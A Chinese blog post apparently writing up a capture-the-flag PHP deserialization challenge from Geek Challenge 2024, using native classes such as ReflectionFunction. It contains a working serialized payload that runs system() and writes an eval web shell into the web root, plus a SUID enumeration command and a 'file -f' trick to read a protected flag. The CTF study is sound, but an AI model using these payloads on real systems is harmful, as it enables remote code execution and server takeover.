反序列化之php原生类利用

OneZ3r0 Lv3

前言

来自复现极客大挑战2024
【参考资料】PHP 原生类的利用小结 任意代码执行下的php原生类利用
极客大挑战 web week3&week4 极客大挑战2024复现

前置知识

什么时候php反序列化需要我们使用原生类呢?——当没有pop链,没有反序列化的类时,而题目又出现了反序列化中可以操控new创建实例对象时,这时候我们就需要和java一样去利用内置的类,进行反序列化

[极客大挑战2024]-PHP不比Java差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"]; // 接受一个字符串作为函数名
$FUNC=$change($data); // 传入数组作为参数? 如果正常传入,传入的就是一个O:... 存储了该类所有属性的数组
$FUNC();
}
}

class Syclover{
public $Where; // 原生类构造函数
public $IS; // 构造时需要传入的参数
public $Starven;
public $Girlfriend;
public function __toString() // 被当作字符串时
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS); // 调用了new!!!
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}

unserialize($_POST['data']);

先观察反序列化的入口

1
2
3
4
5
6
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}

这里有一个array_shift可以利用,作用是

  • 若设置change=array_shift,则array_shift($data)会提取数组$data的第一个元素的值。
  • 通过构造$data数组的第一个元素为phpinfo,使得array_shift返回phpinfo,最终执行phpinfo()函数。

比如:

1
2
3
4
5
<?php
$array = ["system", "onez3r0"];
$func = array_shift($array);

$func("whoami");

那么我们就可以构造

1
2
3
4
$obj = new Geek();
$obj->a = "phpinfo"; // 第一个属性
$obj->b = "dummy";
serialize($obj); // 生成序列化字符串

反序列化后,$data数组结构为:
["a" => "phpinfo", "b" => "dummy"]
这样我们就可以执行phpinfo了

1
2
POST: data=O:4:"Geek":2:{s:1:"a";s:7:"phpinfo";s:1:"b";s:5:"dummy";}
GET: ?change=array_shift

但是并没有什么信息,而我们想利用原生类,得走到new,也就是Syclover::__toString()里面,但是我们并没有发现什么echo之类的可以触发魔术方法的地方,这里实际上是可以通过数组回调的方式直接调用到__toString()方法的

PHP数组调用回调

当 PHP 遇到一个数组被当作函数调用(如 $array())时,会按以下逻辑解析:

1
2
$callback = [$object, "methodName"];
$callback(); // 等价于 $object->methodName();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Challenge{
public $file;
}
class Syclover{
public $Where; // 原生类构造函数
public $IS; // 构造时需要传入的参数
public $Starven;
public $Girlfriend;
}
class Geek {
public $a;
public $b;
}

$payload = new Syclover();
$obj = new Geek();
$obj->a = array($payload, "__toString");

echo serialize($obj);

这样我们就可以走到__toString了,当然也可以走到Challenge::Sink(),但是经过尝试我们发现$FLAG的内容是The True Flag is in /flag,加上题目提示,php不比java差,显然这题预期是打php原生类的反序列化

这里采用最常用的反射类ReflectionFunction来获取任意函数,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//$array = ["system", "onez3r0"];
//$func = array_shift($array);
//
//$func("whoami");
$obj = new ReflectionFunction("system");
$obj->invoke("whoami");

/*
<?php
$function = new ReflectionFunction('call_user_func');
echo $function->invokeArgs(array('s'.'y'.'s'.'tem','whoami'));
//array(%27s%27.%27y%27.%27s%27.%27tem%27,%27cat%20/f%27.%27lag%27)
*/

写马,蚁剑连

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Syclover{
public $Where; // 原生类构造函数
public $IS; // 构造时需要传入的参数
public $Starven;
public $Girlfriend;
}
class Geek {
public $a;
public $b;
}

$payload = new Syclover();
$payload->Where = "ReflectionFunction";
$payload->IS = "system";
$payload->Starven = "invoke";
$payload->Girlfriend="echo '<?php eval(\$_POST[123]);?>' > /var/www/html/shell.php"; // 这里要注意单双引号的写法!否则无法被正确解析!

$obj = new Geek();
$obj->a = array($payload, "__toString");

echo serialize($obj);

但是/flag读不了,应该是权限问题,有hint.txt,提示
Congratulations!Now you can RCE me.But you need Privilege Escalation to read the flag 需要提权

1
2
find / -user root -perm -4000 -print 2>/dev/null
# /usr/bin/file

最后 file -f /flag 即可

  • 标题: 反序列化之php原生类利用
  • 作者: OneZ3r0
  • 创建于 : 2025-04-03 22:21:19
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/04/03/php-deserialization/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
反序列化之php原生类利用